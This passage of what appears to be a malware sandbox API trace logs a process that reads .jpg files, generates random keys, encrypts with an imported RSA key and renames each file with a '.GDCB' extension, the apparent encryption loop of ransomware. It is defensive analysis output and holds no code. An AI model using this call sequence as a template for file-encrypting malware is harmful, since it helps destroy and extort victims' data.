lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x1620, lpOverlapped=0x0) returned 1 [0206.383] VirtualAlloc (lpAddress=0x0, dwSize=0x1620, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0206.388] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\cf6a15d.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\cf6a15d.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\cf6a15d.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\cf6a15d.jpg.gdcb")) returned 1 [0206.392] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0206.393] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.394] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.394] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0206.394] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0206.394] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0206.395] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.396] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.396] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0206.396] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.397] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0206.399] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1110) returned 1 [0206.399] CryptGetKeyParam (in: hKey=0x50d1110, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.399] CryptEncrypt (in: hKey=0x50d1110, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0206.399] GetLastError () returned 0x0 [0206.399] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0206.399] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0206.401] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2010) returned 1 [0206.401] CryptGetKeyParam (in: hKey=0x50d2010, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.401] CryptEncrypt (in: hKey=0x50d2010, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0206.401] GetLastError () returned 0x0 [0206.401] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0206.401] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\da8e59e.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\da8e59e.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0206.403] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0206.404] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0206.405] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x12e0, lpOverlapped=0x0) returned 1 [0206.414] VirtualAlloc (lpAddress=0x0, dwSize=0x12e0, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0206.418] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\da8e59e.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\da8e59e.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\da8e59e.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\da8e59e.jpg.gdcb")) returned 1 [0206.422] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0206.423] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.424] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.424] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0206.424] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0206.424] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0206.425] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.426] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.426] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0206.426] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0206.427] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0206.429] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1a50) returned 1 [0206.429] CryptGetKeyParam (in: hKey=0x50d1a50, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.429] CryptEncrypt (in: hKey=0x50d1a50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0206.429] GetLastError () returned 0x0 [0206.429] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0206.429] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0206.431] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1c90) returned 1 [0206.431] CryptGetKeyParam (in: hKey=0x50d1c90, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.431] CryptEncrypt (in: hKey=0x50d1c90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0206.431] GetLastError () returned 0x0 [0206.431] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0206.431] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\eae01907.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\eae01907.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0206.433] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0206.434] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0206.435] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x1c60, lpOverlapped=0x0) returned 1 [0206.444] VirtualAlloc (lpAddress=0x0, dwSize=0x1c60, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0206.448] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\eae01907.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\eae01907.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\eae01907.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\eae01907.jpg.gdcb")) returned 1 [0206.453] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0206.454] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.455] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.455] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0206.455] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0206.455] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0206.457] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.458] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.458] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0206.458] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.458] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0206.461] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1bd0) returned 1 [0206.461] CryptGetKeyParam (in: hKey=0x50d1bd0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.462] CryptEncrypt (in: hKey=0x50d1bd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0206.462] GetLastError () returned 0x0 [0206.462] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.462] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0206.464] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1f50) returned 1 [0206.464] CryptGetKeyParam (in: hKey=0x50d1f50, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.464] CryptEncrypt (in: hKey=0x50d1f50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0206.464] GetLastError () returned 0x0 [0206.464] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0206.464] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\f466753.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\f466753.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0206.466] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0206.467] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0206.468] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x1850, lpOverlapped=0x0) returned 1 [0206.477] VirtualAlloc (lpAddress=0x0, dwSize=0x1850, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0206.481] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\f466753.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\f466753.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\f466753.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\f466753.jpg.gdcb")) returned 1 [0206.485] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0206.487] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.488] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.488] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0206.488] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0206.488] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0206.489] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.490] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.491] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0206.491] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0206.491] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0206.493] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1a90) returned 1 [0206.493] CryptGetKeyParam (in: hKey=0x50d1a90, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.493] CryptEncrypt (in: hKey=0x50d1a90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0206.494] GetLastError () returned 0x0 [0206.494] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0206.494] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0206.496] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1d90) returned 1 [0206.496] CryptGetKeyParam (in: hKey=0x50d1d90, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.496] CryptEncrypt (in: hKey=0x50d1d90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0206.496] GetLastError () returned 0x0 [0206.496] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0206.496] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\f4b839c7.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\f4b839c7.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0206.498] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0206.499] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0206.500] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x1820, lpOverlapped=0x0) returned 1 [0206.509] VirtualAlloc (lpAddress=0x0, dwSize=0x1820, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0206.513] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\f4b839c7.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\f4b839c7.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\f4b839c7.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\f4b839c7.jpg.gdcb")) returned 1 [0206.517] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0206.519] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.520] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.520] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0206.520] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.520] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0206.521] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.522] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.522] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0206.522] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0206.523] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0206.526] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1950) returned 1 [0206.526] CryptGetKeyParam (in: hKey=0x50d1950, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.526] CryptEncrypt (in: hKey=0x50d1950, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0206.527] GetLastError () returned 0x0 [0206.527] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0206.527] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0206.528] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1a10) returned 1 [0206.529] CryptGetKeyParam (in: hKey=0x50d1a10, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.529] CryptEncrypt (in: hKey=0x50d1a10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0206.529] GetLastError () returned 0x0 [0206.529] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0206.529] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\f67a62c3.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\f67a62c3.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0206.530] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0206.532] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0206.533] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x1cf0, lpOverlapped=0x0) returned 1 [0206.541] VirtualAlloc (lpAddress=0x0, dwSize=0x1cf0, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0206.546] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\f67a62c3.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\f67a62c3.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\f67a62c3.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application 